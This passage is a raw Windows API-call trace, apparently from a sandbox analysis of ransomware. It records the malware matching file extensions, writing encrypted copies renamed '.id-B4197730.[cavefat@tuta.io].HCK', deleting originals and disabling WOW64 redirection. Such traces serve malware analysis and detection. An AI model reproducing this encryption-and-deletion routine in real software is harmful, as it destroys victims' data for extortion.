(lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188669.WMF") returned 68 [0244.149] lstrlenW (lpString=".jpg") returned 4 [0244.149] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0244.149] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0244.149] lstrlenW (lpString="J0188679.WMF") returned 12 [0244.149] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188679.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188679.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4 [0244.150] GetFileSizeEx (in: hFile=0x4a4, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=13162) returned 1 [0244.150] CloseHandle (hObject=0x4a4) returned 1 [0244.150] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188679.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188679.wmf")) returned 0x220 [0244.150] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188679.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188679.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0244.150] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188679.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188679.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4 [0244.150] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.150] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.151] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188679.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188679.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc [0244.151] GetLastError () returned 0x0 [0244.151] ReadFile (in: hFile=0x4a4, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x336a, lpOverlapped=0x0) returned 1 [0244.273] WriteFile (in: hFile=0x3fc, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0x3370, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0x3370, lpOverlapped=0x0) returned 1 [0244.274] ReadFile (in: hFile=0x4a4, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0244.274] WriteFile (in: hFile=0x3fc, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0xec, lpOverlapped=0x0) returned 1 [0244.274] SetEndOfFile (hFile=0x3fc) returned 1 [0244.274] CloseHandle (hObject=0x3fc) returned 1 [0244.274] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.274] SetEndOfFile (hFile=0x4a4) returned 1 [0244.276] CloseHandle (hObject=0x4a4) returned 1 [0244.276] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188679.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0244.934] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188679.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188679.wmf")) returned 1 [0244.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188679.WMF") returned 68 [0244.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188679.WMF") returned 68 [0244.966] lstrlenW (lpString=".doc") returned 4 [0244.966] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0244.966] lstrlenW (lpString=".docx") returned 5 [0244.966] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0244.966] lstrlenW (lpString=".pdf") returned 4 [0244.966] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0244.966] lstrlenW (lpString=".xls") returned 4 [0244.966] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0244.966] lstrlenW (lpString=".xlsx") returned 5 [0244.966] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0244.967] lstrlenW (lpString=".ppt") returned 4 [0244.967] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0244.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188679.WMF") returned 68 [0244.967] lstrlenW (lpString=".zip") returned 4 [0244.967] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0244.967] lstrlenW (lpString=".rar") returned 4 [0244.967] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0244.967] lstrlenW (lpString=".bz2") returned 4 [0244.967] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0244.967] lstrlenW (lpString=".7z") returned 3 [0244.967] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0244.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188679.WMF") returned 68 [0244.967] lstrlenW (lpString=".dbf") returned 4 [0244.967] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0244.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188679.WMF") returned 68 [0244.967] lstrlenW (lpString=".1cd") returned 4 [0244.967] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0244.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188679.WMF") returned 68 [0244.967] lstrlenW (lpString=".jpg") returned 4 [0244.967] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0244.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188679.WMF") returned 68 [0244.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188679.WMF") returned 68 [0244.967] lstrlenW (lpString=".doc") returned 4 [0244.967] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0244.967] lstrlenW (lpString=".docx") returned 5 [0244.967] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0244.967] lstrlenW (lpString=".pdf") returned 4 [0244.967] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0244.967] lstrlenW (lpString=".xls") returned 4 [0244.967] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0244.967] lstrlenW (lpString=".xlsx") returned 5 [0244.967] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0244.967] lstrlenW (lpString=".ppt") returned 4 [0244.967] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0244.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188679.WMF") returned 68 [0244.967] lstrlenW (lpString=".zip") returned 4 [0244.967] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0244.967] lstrlenW (lpString=".rar") returned 4 [0244.967] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0244.967] lstrlenW (lpString=".bz2") returned 4 [0244.967] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0244.967] lstrlenW (lpString=".7z") returned 3 [0244.967] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0244.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188679.WMF") returned 68 [0244.967] lstrlenW (lpString=".dbf") returned 4 [0244.967] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0244.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188679.WMF") returned 68 [0244.967] lstrlenW (lpString=".1cd") returned 4 [0244.967] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0244.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188679.WMF") returned 68 [0244.967] lstrlenW (lpString=".jpg") returned 4 [0244.967] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0244.968] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0244.968] lstrlenW (lpString="J0196110.WMF") returned 12 [0244.968] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196110.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0196110.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0 [0245.534] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=5326) returned 1 [0245.534] CloseHandle (hObject=0x2b0) returned 1 [0245.534] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196110.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0196110.wmf")) returned 0x220 [0246.537] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196110.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0196110.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0246.547] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196110.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0196110.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0246.547] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.547] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.547] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196110.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0196110.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0246.549] GetLastError () returned 0x0 [0246.549] ReadFile (in: hFile=0x384, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x14ce, lpOverlapped=0x0) returned 1 [0246.550] WriteFile (in: hFile=0x4bc, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0x14d0, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0x14d0, lpOverlapped=0x0) returned 1 [0246.550] ReadFile (in: hFile=0x384, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0246.551] WriteFile (in: hFile=0x4bc, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0xec, lpOverlapped=0x0) returned 1 [0246.551] SetEndOfFile (hFile=0x4bc) returned 1 [0246.551] CloseHandle (hObject=0x4bc) returned 1 [0246.551] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.551] SetEndOfFile (hFile=0x384) returned 1 [0246.554] CloseHandle (hObject=0x384) returned 1 [0246.554] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196110.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0246.554] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196110.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0196110.wmf")) returned 1 [0246.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196110.WMF") returned 68 [0246.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196110.WMF") returned 68 [0246.555] lstrlenW (lpString=".doc") returned 4 [0246.555] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0246.555] lstrlenW (lpString=".docx") returned 5 [0246.555] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0246.555] lstrlenW (lpString=".pdf") returned 4 [0246.555] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0246.555] lstrlenW (lpString=".xls") returned 4 [0246.555] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0246.555] lstrlenW (lpString=".xlsx") returned 5 [0246.555] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0246.555] lstrlenW (lpString=".ppt") returned 4 [0246.556] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0246.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196110.WMF") returned 68 [0246.556] lstrlenW (lpString=".zip") returned 4 [0246.556] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0246.556] lstrlenW (lpString=".rar") returned 4 [0246.556] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0246.556] lstrlenW (lpString=".bz2") returned 4 [0246.556] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0246.556] lstrlenW (lpString=".7z") returned 3 [0246.556] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0246.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196110.WMF") returned 68 [0246.556] lstrlenW (lpString=".dbf") returned 4 [0246.556] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0246.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196110.WMF") returned 68 [0246.556] lstrlenW (lpString=".1cd") returned 4 [0246.556] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0246.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196110.WMF") returned 68 [0246.556] lstrlenW (lpString=".jpg") returned 4 [0246.556] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0246.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196110.WMF") returned 68 [0246.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196110.WMF") returned 68 [0246.556] lstrlenW (lpString=".doc") returned 4 [0246.556] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0246.556] lstrlenW (lpString=".docx") returned 5 [0246.556] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0246.556] lstrlenW (lpString=".pdf") returned 4 [0246.556] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0246.556] lstrlenW (lpString=".xls") returned 4 [0246.556] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0246.556] lstrlenW (lpString=".xlsx") returned 5 [0246.556] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0246.556] lstrlenW (lpString=".ppt") returned 4 [0246.556] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0246.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196110.WMF") returned 68 [0246.556] lstrlenW (lpString=".zip") returned 4 [0246.556] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0246.556] lstrlenW (lpString=".rar") returned 4 [0246.556] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0246.556] lstrlenW (lpString=".bz2") returned 4 [0246.556] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0246.556] lstrlenW (lpString=".7z") returned 3 [0246.556] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0246.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196110.WMF") returned 68 [0246.556] lstrlenW (lpString=".dbf") returned 4 [0246.556] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0246.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196110.WMF") returned 68 [0246.556] lstrlenW (lpString=".1cd") returned 4 [0246.556] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0246.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196110.WMF") returned 68 [0246.556] lstrlenW (lpString=".jpg") returned 4 [0246.556] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0246.557] lstrlenW (lpString=".id-") returned 4 [0246.557] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x558b68 | out: hHeap=0x4f0000) returned 1 [0246.557] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5804f8 | out: hHeap=0x4f0000) returned 1 [0246.557] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x39853e0 | out: hHeap=0x4f0000) returned 1 [0246.558] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x39953e8 | out: hHeap=0x4f0000) returned 1 [0246.558] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3f14020 | out: hHeap=0x4f0000) returned 1 [0246.561] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x558b50 | out: hHeap=0x4f0000) returned 1 [0246.561] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x40d9ef8 [0246.561] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x40d9ef8, Size=0x20) returned 0x40eb4b8 [0246.561] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x40d9df0 [0246.561] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x40d9df0, Size=0x20) returned 0x40eb288 [0246.561] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x73f50000 [0246.562] GetProcAddress (hModule=0x73f50000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x73f66b30 [0246.562] Wow64DisableWow64FsRedirection (in: OldValue=0x349ff50 | out: OldValue=0x349ff50*=0x1) returned 1 [0246.562] lstrlenW (lpString="kernel32.dll") returned 12 [0246.562] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40eb288 | out: hHeap=0x4f0000) returned 1 [0246.562] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0246.562] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40eb4b8 | out: hHeap=0x4f0000) returned 1 Thread: id = 326 os_tid = 0xd54 [0224.148] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10000) returned 0x4020048 [0224.149] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10000) returned 0x4030050 [0224.149] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x558b80 [0224.149] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6) returned 0x580428 [0224.149] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x558898 [0224.149] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x100000) returned 0x4224020 [0224.151] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x5588b0 [0224.151] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5588b0, Size=0x20) returned 0x52f108 [0224.151] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x5588b0 [0224.151] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5588b0, Size=0x20) returned 0x52f130 [0224.151] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x73f50000 [0224.152] GetProcAddress (hModule=0x73f50000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x73f66b30 [0224.152] Wow64DisableWow64FsRedirection (in: OldValue=0x35dff50 | out: OldValue=0x35dff50*=0x0) returned 1 [0224.152] lstrlenW (lpString="kernel32.dll") returned 12 [0224.152] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f108 | out: hHeap=0x4f0000) returned 1 [0224.152] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0224.152] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f130 | out: hHeap=0x4f0000) returned 1 [0224.152] Sleep (dwMilliseconds=0x64) [0224.310] Sleep (dwMilliseconds=0x64) [0224.527] Sleep (dwMilliseconds=0x64) [0224.720] lstrcmpiW (lpString1=".LOG", lpString2=".HCK") returned 1 [0224.721] lstrlenW (lpString="BCD.LOG") returned 7 [0224.726] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0224.726] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0224.731] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0224.732] lstrlenW (lpString=".doc") returned 4 [0224.732] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1 [0224.732] lstrlenW (lpString=".docx") returned 5 [0224.747] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1 [0224.747] lstrlenW (lpString=".pdf") returned 4 [0224.747] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1 [0224.747] lstrlenW (lpString=".xls") returned 4 [0224.747] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1 [0224.747] lstrlenW (lpString=".xlsx") returned 5 [0224.747] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1 [0224.747] lstrlenW (lpString=".ppt") returned 4 [0224.747] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1 [0224.747] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0224.747] lstrlenW (lpString=".zip") returned 4 [0224.747] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1 [0224.747] lstrlenW (lpString=".rar") returned 4 [0224.747] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1 [0224.747] lstrlenW (lpString=".bz2") returned 4 [0224.747] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1 [0224.747] lstrlenW (lpString=".7z") returned 3 [0224.747] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0224.747] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0224.747] lstrlenW (lpString=".dbf") returned 4 [0224.747] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1 [0224.747] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0224.747] lstrlenW (lpString=".1cd") returned 4 [0224.747] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1 [0224.747] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0224.747] lstrlenW (lpString=".jpg") returned 4 [0224.747] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1 [0224.747] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0224.747] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0224.747] lstrlenW (lpString=".doc") returned 4 [0224.747] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1 [0224.747] lstrlenW (lpString=".docx") returned 5 [0224.747] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1 [0224.747] lstrlenW (lpString=".pdf") returned 4 [0224.747] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1 [0224.747] lstrlenW (lpString=".xls") returned 4 [0224.747] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1 [0224.747] lstrlenW (lpString=".xlsx") returned 5 [0224.747] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1 [0224.748] lstrlenW (lpString=".ppt") returned 4 [0224.748] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1 [0224.748] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0224.748] lstrlenW (lpString=".zip") returned 4 [0224.748] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1 [0224.748] lstrlenW (lpString=".rar") returned 4 [0224.748] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1 [0224.748] lstrlenW (lpString=".bz2") returned 4 [0224.748] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1 [0224.748] lstrlenW (lpString=".7z") returned 3 [0224.748] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0224.748] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0224.748] lstrlenW (lpString=".dbf") returned 4 [0224.748] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1 [0224.748] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0224.748] lstrlenW (lpString=".1cd") returned 4 [0224.748] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1 [0224.748] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0224.748] lstrlenW (lpString=".jpg") returned 4 [0224.748] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1 [0224.748] lstrcmpiW (lpString1=".p7b", lpString2=".HCK") returned 1 [0224.748] lstrlenW (lpString="updaterevokesipolicy.p7b") returned 24 [0224.748] CreateFileW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4 [0224.749] GetFileSizeEx (in: hFile=0x3e4, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=4662) returned 1 [0224.749] CloseHandle (hObject=0x3e4) returned 1 [0224.749] GetFileAttributesW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b")) returned 0x20 [0224.749] GetFileAttributesW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\boot\\updaterevokesipolicy.p7b.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0224.749] CreateFileW 